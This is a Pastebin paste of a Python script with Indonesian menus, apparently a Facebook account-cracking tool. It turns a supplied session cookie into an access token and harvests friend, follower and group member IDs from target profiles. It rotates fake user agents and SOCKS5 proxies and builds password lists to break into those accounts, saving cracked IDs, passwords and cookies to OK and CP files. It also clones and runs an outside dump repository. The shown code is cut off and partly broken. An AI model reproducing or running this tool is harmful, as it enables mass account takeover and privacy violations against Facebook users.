OBF-XIn

116.206.8.62-/sdcard/scaing.py.py

Jan 22nd, 2023
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 56.42 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.table import Table as me
  5. from rich.console import Console as sol
  6. from bs4 import BeautifulSoup as sop
  7. from concurrent.futures import ThreadPoolExecutor as tred
  8. from rich.console import Group as gp
  9. from rich.panel import Panel as nel
  10. from rich import print as cetak
  11. from rich.markdown import Markdown as mark
  12. from rich.columns import Columns as col
  13. from rich import print as rprint
  14. from rich import pretty
  15. from rich.text import Text as tekz
  16. pretty.install()
  17. CON=sol()
  18. #------------------[ USER-AGENT ]-------------------#
  19. ugen2=[]
  20. ugen=[]
  21. cokbrut=[]
  22. ses=requests.Session()
  23. princp=[]
  24. try:
  25.     prox= requests.get('https://github.com/Chigozieworldwide/XFORD/blob/main/socks5.txt').text
  26.     open('.socks5.txt','w').write(prox)
  27. except Exception as e:
  28.     print('')
  29. prox=open('.socks5.txt','r').read().splitlines()
  30. for xd in range(10000):
  31.     a='Mozilla/5.0 (Symbian/3; Series60/'
  32.     b=random.randrange(1, 9)
  33.     c=random.randrange(1, 9)
  34.     d='Nokia'
  35.     e=random.randrange(100, 9999)
  36.     f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/'
  37.     g=random.randrange(1, 9)
  38.     h=random.randrange(1, 4)
  39.     i=random.randrange(1, 4)
  40.     j=random.randrange(1, 4)
  41.     k='Mobile Safari/535.1'
  42.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  43.     ugen2.append(uaku)
  44.  
  45.  
  46.     aa='Mozilla/5.0 (Linux; Android 9;'
  47.     b=random.choice(['6','7','8','9','10','11','12'])
  48.     c='TECNO KC3 Build/PPR1.180610.011; wv)'
  49.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  50.     e=random.randrange(1, 999)
  51.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  52.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.5359.128'
  53.     h=random.randrange(73,100)
  54.     i='0'
  55.     j=random.randrange(4200,4900)
  56.     k=random.randrange(40,150)
  57.     l='Mobile Safari/537.36'
  58.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  59.     ugen.append(uaku2)
  60. for x in range(10):
  61.     a='Mozilla/5.0 (Linux; Android 9; TECNO KC3 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.5359.128 Mobile Safari/537.36[FBAN/EMA;FBLC/en_US;FBAV/338.0.0.10.102;]'
  62.     #a='Mozilla/5.0 (Linux; Android 5.1.1; Redmi 3 Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043910 Mobile Safari/537.36 V1_AND_SQ_7.5.0_794_YYB_D QQ/7.5.0.3430 NetType/WIFI WebP/0.3.0 Pixel/7#20NULL'
  63. #   a='Mozilla/5.0 (Linux; U; Android 7.1.2; en-US; Redmi 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 UCBrowser/13.3.8.1305 Mobile Safari/537.36'
  64. #   a='Mozilla/5.0 (Linux; Android 9; ASUS_A001D Build/PPR1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36'
  65.     uak=f'{a}'
  66. def uaku():
  67.     try:
  68.         ua=open('AllUa','r').read().splitlines()
  69.         for ub in ua:
  70.             ugen.append(ub)
  71.     except:
  72.         a=requests.get('https://github.com/BlackB07/UserAgent/blob/main/AllUa').text
  73.         ua=open('.AllUa','w')
  74.         aa=re.findall('line">(.*?)<',str(a))
  75.         for un in aa:
  76.             ua.write(un+'\n')
  77.         ua=open('.AllUa','r').read().splitlines()
  78. #------------[ INDICATION ]---------------#
  79. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  80. cokbrut=[]
  81. pwpluss,pwnya=[],[]
  82. #------------[ WARNA-COLOR ]--------------#
  83. P = '\x1b[1;97m'
  84. M = '\x1b[1;91m'
  85. H = '\x1b[1;92m'
  86. K = '\x1b[1;93m'
  87. B = '\x1b[1;94m'
  88. U = '\x1b[1;95m'
  89. O = '\x1b[1;96m'
  90. N = '\x1b[0m'    
  91. Z = "\033[1;30m"
  92. sir = '\033[41m\x1b[1;97m'
  93. x = '\33[m' # DEFAULT
  94. m = '\x1b[1;91m' #RED +
  95. k = '\033[93m' # KUNING +
  96. h = '\x1b[1;92m' # HIJAU +
  97. hh = '\033[32m' # HIJAU -
  98. u = '\033[95m' # UNGU
  99. kk = '\033[33m' # KUNING -
  100. b = '\33[1;96m' # BIRU -
  101. p = '\x1b[0;34m' # BIRU +
  102. asu = random.choice([m,k,h,u,b])
  103. #--------------------[ CONVERTER-BULAN ]--------------#
  104. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  105. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  106. tgl = datetime.datetime.now().day
  107. bln = dic[(str(datetime.datetime.now().month))]
  108. thn = datetime.datetime.now().year
  109. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  110. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  111. #------------------[ MACHINE-SUPPORT ]---------------#
  112. def moch_lux(u):
  113.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  114. def clear():
  115.     os.system('clear')
  116. def back():
  117.     login()
  118. #------------------[ LOGO-LAKNAT ]-----------------#
  119. def banner():
  120.     clear()
  121.     print(f"""{P}
  122. \t888      888    888 8888888
  123. \t888      888    888   888  
  124. \t888      888    888   888  
  125. \t888      8888888888   888  
  126. \t888      888    888   888  
  127. \t888      888    888   888  
  128. \t888      888    888   888  
  129. \t88888888 888    888 8888888        {H}DEV{P}""")
  130.     print('--------------------------------------------------')
  131.     print(f'[-] Author    : LUXINE')
  132.     print(f'[-] Facebook :  LUXINE INDAH')
  133.     print(f'[-] Toll     :  Private')
  134.     print(f'[-] Version  :  1.0.0')
  135.     print('--------------------------------------------------')
  136.     #print(f"""{P}\t
  137. #t888      888    888 8888888
  138. #\t888      888    888   888   t888      888    #888   888  
  139. #888      8888888888   888  
  140. #888      888    888   888  
  141. #888      888    888   888  
  142. #888      888    888   888  
  143. #88888888 888    888 8888888
  144.                            
  145.                            
  146.                            
  147. #   888      888    888 8888888
  148. #888      888    888   888  
  149. #888      888    888   888  
  150. #888      8888888888   888  
  151. #888      888    888   888  
  152. #888      888    888   888  
  153. #888      888    888   888  
  154. #88888888 888    888 8888888
  155.                            
  156.                            
  157.                            
  158. #   print(f'{P}[{H}✓{P}] AUTHOR : LUXINE-DEV')
  159. #   print(f"{P}[{H}✓{P}] GITHUB : LUXINE-DEV17")
  160. #   print(f'{P}[{H}✓{P}] WA     : 0896908****')
  161. #   print(f'{P}[{H}✓{P}] STATUS : PAID')
  162. #--------------------[ BAGIAN-MASUK ]--------------#
  163. def login():
  164.     try:
  165.         token = open('.tok.txt','r').read()
  166.         cok = open('.cok.txt','r').read()
  167.         tokenku.append(token)
  168.         try:
  169.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  170.             sy2 = json.loads(sy.text)['name']
  171.             sy3 = json.loads(sy.text)['id']
  172.             menu()
  173.         except KeyError:
  174.             login_lagi334()
  175.         except requests.exceptions.ConnectionError:
  176.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  177.             lo = mark(li, style='red')
  178.             sol().print(lo, style='cyan')
  179.             exit()
  180.     except IOError:
  181.         login_lagi334()
  182. def login_lagi334():
  183.     try:
  184.         os.system('clear')
  185.         banner()
  186.         cookie=input(f'{P}[?] COOKIE  :  ')
  187.         data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie})
  188.         find_token = re.search("(EAAG\w+)", data.text)
  189.         ken=open(".tok.txt", "w").write(find_token.group(1))
  190.         cok=open(".cok.txt", "w").write(cookie)
  191.     except Exception as e:
  192.         os.system("rm -f .tok.txt")
  193.         os.system("rm -f .cok.txt")
  194. def login_appendi():
  195.     try:
  196.         token = open('.tok.txt','r').read()
  197.         cok = open('.cok.txt','r').read()
  198.         tokenku.append(token)
  199.         try:
  200.             _belajar_dulu_baru_ngoding = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  201.             menu()
  202.         except KeyError:
  203.             login_append()
  204.         except requests.exceptions.ConnectionError:
  205.             exit()
  206.     except IOError:
  207.         login_append()
  208. def login_append():
  209.     try:
  210.         os.system('clear')
  211.         banner()
  212.         ses = requests.Session()
  213.         print(f'{B}• {P}1. crack file')
  214.         print(f'{B}• {P}2. login cookie')
  215.         menuxc = input(f'{B}• {P}Pilih : ')
  216.         if menuxc in['1','01']:
  217.             _luxine_file()
  218.         else:
  219.             print('')
  220.         cookie = input(f'\n{B}• {P}masukan cookie : ')
  221.         cookies = {'cookie':cookie}
  222.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  223.         req = ses.get(url,cookies=cookies)
  224.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  225.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  226.         roq = ses.get(nek,cookies=cookies)
  227.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  228.         tokenw = open(".tok.txt", "w").write(tok)
  229.         cokiew = open(".cok.txt", "w").write(cookie)
  230.         print(f'\n{B}• {P}login berhasil ')
  231.         ketix = input(f'{B}• {P}ketik {H}open {P}untuk masuk kedalam menu : ')
  232.         if open in ['open','Open','OPEN']:
  233.             login_appendi()
  234.         else:
  235.             login_appendi()
  236.     except Exception as e:
  237.         os.system("rm -f .tok.txt")
  238.         os.system("rm -f .cok.txt")
  239.         print(f'{B}• {P}login error')
  240.         exit()
  241. #------------------[ BAGIAN-MENU ]----------------#
  242. def menu():
  243.     try:
  244.         token = open('.tok.txt','r').read()
  245.         cok = open('.cok.txt','r').read()
  246.     except IOError:
  247.         time.sleep(5)
  248.         login_lagi334()
  249.     os.system('clear')
  250.     banner()
  251.     ip = requests.get("https://api.ipify.org").text
  252. #   print(''")
  253.     namax = input(f'{P} Nama Kamu Siapa : ')
  254.     os.system('clear')
  255.     banner()
  256.     print(f'------[ WELCOME {K}{namax}{P} ]------')
  257.     print(' [1] File cloning')
  258.     print(' [2] Dump file')
  259.     print(' [0] Exit menu')
  260.     print('--------------------------------------------------')
  261. #   cetak(nel("""[white][[blue]01[white]]. CRACK PERTEMENAN
  262. #[white][[blue]02[white]]. CRACK FOLLWER
  263. #[white][[blue]03[white]]. CRACK FILE
  264. #[white][[blue]04[white]]. CRACK GRUP
  265. #[white][[blue]05[white]]. CRACK RANDOM ID
  266. #[white][[blue]06[white]]. CLONE 2009-2015
  267. #[white][[blue]07[white]]. MENU [green]BOT[white]
  268. #[white][[blue]08[white]]. Kembali"""))
  269.     obf_x = input('\n Choose an option: ')
  270.     os.system(f'xdg-open http://wa.me/6289669084331?text=Bang+save+{namax}+ya+bang')
  271.     if obf_x in ['1','01']:
  272.         rking()
  273.     elif obf_x in ['2','02']:
  274.         print('->  mohon menunngu 1-3 menit untuk masuk ke dalam menu dump.... >')
  275.         os.system('git clone https://github.com/MAHADI-143/DUMP.git')
  276.         os.system('cd DUMP')
  277.         print('-> otw ke menu ->')
  278.         os.system('python3 FILE-DUMP.py')
  279.     elif obf_x in ['3','03']:
  280.         error()
  281.     elif obf_x in ['4','04']:
  282.         krek_grup()
  283.     elif obf_x in ['5','05']:
  284.         error()
  285.     elif obf_x in ['00','0']:
  286.         word = input(f'[?]apakah anda ingin menghapus cookie anda (y/t) : ')
  287.         if word in ['t','T']:
  288.             exit()
  289.         else:
  290.             os.system('rm -rf .tok.txt')
  291.             os.system('rm -rf .cok.txt')
  292.             exit()
  293.     else:
  294.         back()
  295. def haykrek():
  296.     print("")
  297.     cetak(nel("""[white]KETIK [green]y [white]JIKA INGIN CRACK MASSAL KETIK [red]t [white]UNTUK CRACK PUBLIK"""))
  298.     sayangkamuz = input(f'{P}└──> apakah anda ingin crack massal : ')
  299.     if sayangkamuz in ['y','Y']:
  300.         eaku()
  301.     elif sayangkamuz in ['t','T']:
  302.         _publik_()
  303. def error():
  304.     cetak(nel("""[white]halo maaf anda tidak dapet memakai menu ini karna anda bukan daftar dari oranh premium"""))
  305.     time.sleep(4)
  306.     back()
  307. #-----------------[ HASIL-CRACK ]-----------------#
  308. def result():
  309.     print('>> Hasil OK Anda ')
  310.     print('>> Hasil CP Anda ')
  311.     print('>> Kembali   ')
  312.     kz = input('\n>> Pilih : ')
  313.     if kz in ['1','01']:
  314.         try:vin = os.listdir('CP')
  315.         except FileNotFoundError:
  316.             print('>> File Tidak Di Temukan ')
  317.             time.sleep(3)
  318.             back()
  319.         if len(vin)==0:
  320.             print('>> Anda Tidak Memiliki Hasil CP ')
  321.             time.sleep(2)
  322.             back()
  323.         else:
  324.             cih = 0
  325.             lol = {}
  326.             for isi in vin:
  327.                 try:hem = open('CP/'+isi,'r').readlines()
  328.                 except:continue
  329.                 cih+=1
  330.                 if cih<10:
  331.                     nom = '0'+str(cih)
  332.                     lol.update({str(cih):str(isi)})
  333.                     lol.update({nom:str(isi)})
  334.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  335.                 else:
  336.                     lol.update({str(cih):str(isi)})
  337.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  338.             geeh = input('\n>> Pilih : ')
  339.             try:geh = lol[geeh]
  340.             except KeyError:
  341.                 print('>> Pilih Yang Bener Kontol ')
  342.                 exit()
  343.             try:lin = open('CP/'+geh,'r').read().splitlines()
  344.             except:
  345.                 print('>> File Tidak Di Temukan ')
  346.                 time.sleep(2)
  347.                 back()
  348.             nocp=0
  349.             for cpku in range(len(lin)):
  350.                 cpkuni=lin[nocp].split('|')
  351.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  352.                 sol().print(mark(cpkuh,style="yellow"))
  353.                 nocp +=1
  354.             input('[ Klik Enter ]')
  355.             back()
  356.     elif kz in ['2','02']:
  357.         try:vin = os.listdir('OK')
  358.         except FileNotFoundError:
  359.             print('>> File Tidak Di Temukan ')
  360.             time.sleep(2)
  361.             back()
  362.         if len(vin)==0:
  363.             print('>> Anda Tidak Mempunyai File OK ')
  364.             time.sleep(2)
  365.             back()
  366.         else:
  367.             cih = 0
  368.             lol = {}
  369.             for isi in vin:
  370.                 try:hem = open('OK/'+isi,'r').readlines()
  371.                 except:continue
  372.                 cih+=1
  373.                 if cih<100:
  374.                     nom = '0'+str(cih)
  375.                     lol.update({str(cih):str(isi)})
  376.                     lol.update({nom:str(isi)})
  377.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  378.                 else:
  379.                     lol.update({str(cih):str(isi)})
  380.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  381.             geeh = input('\n>> Pilih : ')
  382.             try:geh = lol[geeh]
  383.             except KeyError:
  384.                 print('>> Pilih Yang Bener Kontol ')
  385.                 exit()
  386.             try:lin = open('OK/'+geh,'r').read().splitlines()
  387.             except:
  388.                 print('>> File Tidak Di Temukan ')
  389.                 time.sleep(2)
  390.                 back()
  391.             nocp=0
  392.             for cpku in range(len(lin)):
  393.                 cpkuni=lin[nocp].split('|')
  394.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  395.                 sol().print(mark(cpkuh,style="green"))
  396.                 print(f'{hh}COOKIE : {x}{cpkuni[2]}')
  397.                 nocp +=1
  398.             input('[ Klik Enter ]')
  399.             back()
  400.     elif kz in ['0','00']:
  401.         back()
  402.     else:
  403.         print('>> Pilih Yang Bener Kontol ')
  404.         exit()
  405. def _publik_():
  406.     try:
  407.         token = open('.tok.txt','r').read()
  408.         kukis = open('.cok.txt','r').read()
  409.     except IOError:
  410.         exit()
  411.     pil = input(f'└──> ID/USERNAME  : ')
  412.     try:
  413.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  414.         for pi in koh2['friends']['data']:
  415.             try:id.append(pi['id']+'|'+pi['name'])
  416.             except:continue
  417.         print('')
  418.         print(f' TOTAL {H}{len(id)}{P}')
  419.         _lanjut_()
  420.     except requests.exceptions.ConnectionError:
  421.         print(' Internetmu abis')
  422.         exit()
  423.     except (KeyError,IOError):
  424.         print('Pertemanan Tidak Publick')
  425.         exit()
  426. def _publik_s():
  427.     try:
  428.         token = open('.tok.txt','r').read()
  429.         cok = open('.cok.txt','r').read()
  430.     except IOError:
  431.         print("")
  432.     #   exit()
  433.     pil = input(f'└──> ID/USERNAME : ')
  434.     try:
  435.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookies': cok}).json()
  436.         for pi in koh2['friends']['data']:
  437.             try:id.append(pi['id']+'|'+pi['name'])
  438.             except:continue
  439.         print('')
  440.         print(f' ID {H}{len(id)}{P}')
  441.         atur_id()
  442.     except requests.exceptions.ConnectionError:
  443.         print(' Internetmu abis')
  444.         exit()
  445.     except (KeyError,IOError):
  446.         print('Pertemanan Tidak Publick')
  447.         exit()
  448. #-------------------[ CRACK-PUBLIK ]----------------#
  449. def eaku():
  450.     try:
  451.         token = open('.tok.txt','r').read()
  452.         cok = open('.cok.txt','r').read()
  453.     except IOError:
  454.         exit()
  455.     try:
  456.         jum = int(input(f'└──> BERAPA ID  : '))
  457.     except ValueError:
  458.         exit()
  459.     if jum<1 or jum>100:
  460.         exit()
  461.     ses=requests.Session()
  462.     yz = 0
  463.     for met in range(jum):
  464.         yz+=1
  465.         kl = input(f'└──> ID {yz} : ')
  466.         uid.append(kl)
  467.     for userr in uid:
  468.         try:
  469.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  470.             for mi in col['friends']['data']:
  471.                 try:
  472.                     iso = (mi['id']+'|'+mi['name'])
  473.                     if iso in id:pass
  474.                     else:id.append(iso)
  475.                 except:continue
  476.         except (KeyError,IOError):
  477.             pass
  478.         except requests.exceptions.ConnectionError:
  479.             exit()
  480.     try:
  481.         print('')
  482.         print(f'TOTAL ID : {len(id)}')
  483.         _lanjut_()
  484.     except requests.exceptions.ConnectionError:
  485.         print(f'{x}')
  486.         back()
  487.     except (KeyError,IOError):
  488.         print(f'Pertemanan Tidak Public {x}')
  489.         time.sleep(3)
  490.         back()
  491. #-------------------[ CRACK-PENGIKUT ]----------------#
  492. def krek_pengikut():
  493.     try:
  494.         token = open('.token.txt','r').read()
  495.         cok = open('.cok.txt','r').read()
  496.     except IOError:
  497.         exit()
  498.     pil = input('└──> Masukkan Idz Target : ')
  499.     try:
  500.         koh2 = requests.get('https://graph.facebook.com/'+pil+'?fields=subscribers.limit(99999)&access_token='+tokenku[0],cookies={'cookie': cok}).json()
  501.         for pi in koh2['subscribers']['data']:
  502.             try:id.append(pi['id']+'|'+pi['name'])
  503.             except:continue
  504.         setting()
  505.     except requests.exceptions.ConnectionError:
  506.         print('>> Koneksi Internet Bermasalah ')
  507.         exit()
  508.     except (KeyError,IOError):
  509.         print('>> Gagal Mengambil Target ')
  510.         exit()
  511. #------------------[ CRACK-GRUP ]-----------------#
  512. balmond = b+"["+h+"✓"+b+"]"
  513.  
  514. def lah():
  515.     print(f'TOTAL ID : {len(id)}')
  516.     pass
  517.     _lanjut_()
  518. def krek_grup():
  519.     print('')
  520.     id = input(f'{P}└──> ID/URL GRUP : ')
  521.     ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
  522.     miskinlu = {"user-agent": ua}
  523.     url = "https://mbasic.facebook.com/groups/"+id
  524.     ses = requests.Session()
  525.     try:
  526.         gn = parser(ses.get(url, headers=miskinlu).text, 'html.parser')
  527.     except requests.exceptions.ConnectionError:
  528.         print(balmond+m+" Koneksi Internet Terputus..")
  529.         time.sleep(0.5)
  530.         exit()
  531.     berr = gn.find("title")
  532.     berr2 = berr.text.replace(" | Facebook","").replace(" Grup Publik","")
  533.     if berr2=='Masuk Facebook':
  534.         print(balmond+m+" Limit, Silahkan Mode Pesawat Dan Coba Lagi..")
  535.         time.sleep(0.5)
  536.         crack_grup()
  537.     elif berr2=='Kesalahan':
  538.         jalan(balmond+m+" Grup Tidak Ditemukan..")
  539.         time.sleep(0.5)
  540.         crack_grup()
  541.     else:pass
  542.     print(""+balmond+p+" \x1b[1;94m>> Nama Grup :\x1b[1;97m "+berr2)
  543.     ggs = gn.find_all('table')
  544.     ang = []
  545.     for ff in ggs:
  546.         anggo = ff.text
  547.         bro = anggo.replace('Anggota','')
  548.         try:
  549.             mex = int(bro)
  550.             jumlah = ang.append(mex)
  551.         except:
  552.             pass
  553.     if len(ang)==0:
  554.         print(balmond+h+" Anggota : -")
  555.     else:
  556.         print(balmond+h+" \x1b[1;94m MEMBER :\x1b[1;97m "+str(ang[0]))
  557.     grup1(url)
  558. def grup1(urls):
  559.     use = []
  560.     ses = requests.Session()
  561.     while True:
  562.         try:
  563.             ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
  564.             miskinlu = {"user-agent": ua}
  565.             try:
  566.                 url = use[0]
  567.             except:
  568.                 url = urls
  569.             set = parser(ses.get(url, headers=miskinlu).text, "html.parser")
  570.             bf2 = set.find_all('a')
  571.             for g in bf2:
  572.                 css = str(g).split('>')
  573.                 if 'Lihat Postingan Lainnya</span' in css:
  574.                     bcj = str(g).replace('<a href="','').replace('amp;','')
  575.                     bcj2 = bcj.split(' ')[0].replace('"><img','')
  576.             tes = set.find_all('table')
  577.             for cari in tes:
  578.                 liatnih = cari.text
  579.                 spl = liatnih.split(' ')
  580.                 if 'mengajukan' in spl:
  581.                     idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
  582.                     idyou = idsiapa[0].replace('content_owner_id_new.','')
  583.                     namayou = liatnih.replace(' mengajukan pertanyaan .','')
  584.                     idku = idyou+'|'+namayou
  585.                     if idku in id:
  586.                         continue
  587.                     else:
  588.                         id.append(idku)
  589.                         print(("\r"+balmond+h+" { "+k+"Proses Mengambil ID "+str(len(id))+h+" }"), end="");sys.stdout.flush()
  590.                 elif '>' in spl:
  591.                     idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
  592.                     idyou = idsiapa[0].replace('content_owner_id_new.','')
  593.                     namayou = liatnih.split(' > ')[0]
  594.                     idku = idyou+'|'+namayou
  595.                     if idku in id:
  596.                         continue
  597.                     else:
  598.                         id.append(idku)
  599.                         print(("\r"+balmond+h+" { "+O+"Mengumpulkan ID "+str(len(id))+h+" }"), end="");sys.stdout.flush()
  600.                 else:
  601.                     continue
  602.             try:
  603.                 link_ = bcj2
  604.                 use.insert(0,'https://mbasic.facebook.com'+link_)
  605.             except:
  606.                 girang = set.find('title')
  607.                 girang2 = girang.text.replace(" | Facebook","").replace(" Grup Publik","")
  608.                 if girang2=='Masuk Facebook':
  609.                     pass
  610.                 else:
  611.                     lah()
  612.         except requests.exceptions.ConnectionError:
  613.             try:
  614.                 time.sleep(31)
  615.             except KeyboardInterrupt:
  616.                 lah()
  617.         except KeyboardInterrupt:
  618.             lah()
  619. #-------------[ CRACK-FROM-FILE ]------------------#
  620. def crack_file():
  621.     try:vin = os.listdir('DUMP')
  622.     except FileNotFoundError:
  623.         print('>> File Tidak Ditemukan ')
  624.         time.sleep(2)
  625.         back()
  626.     if len(vin)==0:
  627.         print('>> Kamu Tidak Memiliki File Dump ')
  628.         time.sleep(2)
  629.         back()
  630.     else:
  631.         cih = 0
  632.         lol = {}
  633.         for isi in vin:
  634.             try:hem = open('DUMP/'+isi,'r').readlines()
  635.             except:continue
  636.             cih+=1
  637.             if cih<100:
  638.                 nom = ''+str(cih)
  639.                 lol.update({str(cih):str(isi)})
  640.                 lol.update({nom:str(isi)})
  641.                 print(f'>> %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  642.             else:
  643.                 lol.update({str(cih):str(isi)})
  644.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  645.                 print('>> %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  646.         geeh = input('\n>> Pilih : ')
  647.         try:geh = lol[geeh]
  648.         except KeyError:
  649.             print(f'{k}>> Pilih Yang Bener Kontol {x}')
  650.             time.sleep(3)
  651.             back()
  652.         try:lin = open('DUMP/'+geh,'r').read().splitlines()
  653.         except:
  654.             print('>> File Tidak Ditemukan, Coba Lagi Nanti ')
  655.             time.sleep(2)
  656.             back()
  657.         for xid in lin:
  658.             id.append(xid)
  659.         setting()
  660. #-------------[ PENGATURAN-IDZ ]---------------#
  661. def _atur_():
  662.     #print(f'{P[01]. crack old')
  663.     print(f'{P}[02]. crack new')
  664.     print('[03]. crack random')
  665.     print('')
  666.     hu = input('└──> Pilih : ')
  667.     if hu in ['1','01']:
  668.         for tua in sorted(id):
  669.             id2.append(tua)
  670.  
  671.     elif hu in ['2','02']:
  672.         muda=[]
  673.         for bacot in sorted(id):
  674.             muda.append(bacot)
  675.         bcm=len(muda)
  676.         bcmi=(bcm-1)
  677.         for xmud in range(bcm):
  678.             id2.append(muda[bcmi])
  679.             bcmi -=1
  680.     elif hu in ['3','03']:
  681.         for bacot in id:
  682.             xx = random.randint(0,len(id2))
  683.             id2.insert(xx,bacot)
  684.     else:
  685.         exit()
  686.     print('>> 1. Mobile ')
  687.     print('>> 2. Mbasic ')
  688.     print('>> 3. Touch  ')
  689.     print('')
  690.     hc = input('>> Pilih : ')
  691.     if hc in ['1','01']:
  692.         method.append('mobile')
  693. #   elif hc in ['2','02']:
  694. #       method.append('free')
  695. #   elif hc in ['3','03']:
  696. #       method.append('touch')
  697.     elif hc in ['4','04']:
  698.         method.append('mbasic')
  699.     else:
  700.         method.append('mobile')
  701.     print('')
  702. #   _jembot_ = input('>> Tambahkan Aplikasi Terkait ( Y/t ) ')
  703. #   if _jembot_ in ['']:
  704. #       print('>> Pilih Yang Bener Kontol ')
  705. #       back()
  706. #   elif _jembot_ in ['y','Y']:
  707. #       taplikasi.append('ya')
  708. #   else:
  709. #       taplikasi.append('no')
  710.     pwplus=input('>> Tambahkan Password Manual ( Y/t ) ')
  711.     if pwplus in ['y','Y']:
  712.         pwpluss.append('ya')
  713.         cetak(nel('[[cyan]•[white]] Masukkan Katasandi Tambahan Minimal 6 Karakter\n[[cyan]•[white]] Contoh :[green] kakak,ngentod,adik[white] '))
  714.         pwku=input('>> Masukkan Password Tambahan : ')
  715.         pwkuh=pwku.split(',')
  716.         for xpw in pwkuh:
  717.             pwnya.append(xpw)
  718.     else:
  719.         pwpluss.append('no')
  720.     passwrd()
  721. def rking():
  722.     os.system('clear')
  723.     banner()
  724.     try:vin = os.listdir('/sdcard/RKING')
  725.     except FileNotFoundError:
  726.         time.sleep(2)
  727.         back()
  728.     if len(vin)==0:
  729.         print('')
  730.         kontol = input(f'\n{P}ENTER')
  731.         if kontil in ['']:
  732.             time.sleep(3)
  733.             back()
  734.             exit()
  735.         time.sleep(2)
  736.         back()
  737.     else:
  738.         cih = 0
  739.         lol = {}
  740.         for isi in vin:
  741.             try:hem = open('/sdcard/RKING/'+isi,'r').readlines()
  742.             except:continue
  743.             cih+=1
  744.             if cih<100:
  745.                 nom = ''+str(cih)
  746.                 lol.update({str(cih):str(isi)})
  747.                 lol.update({nom:str(isi)})
  748.                 print(f'{P} [No]-[{cih}] [Name]-[{isi}] [Id]-[{len(hem)}')
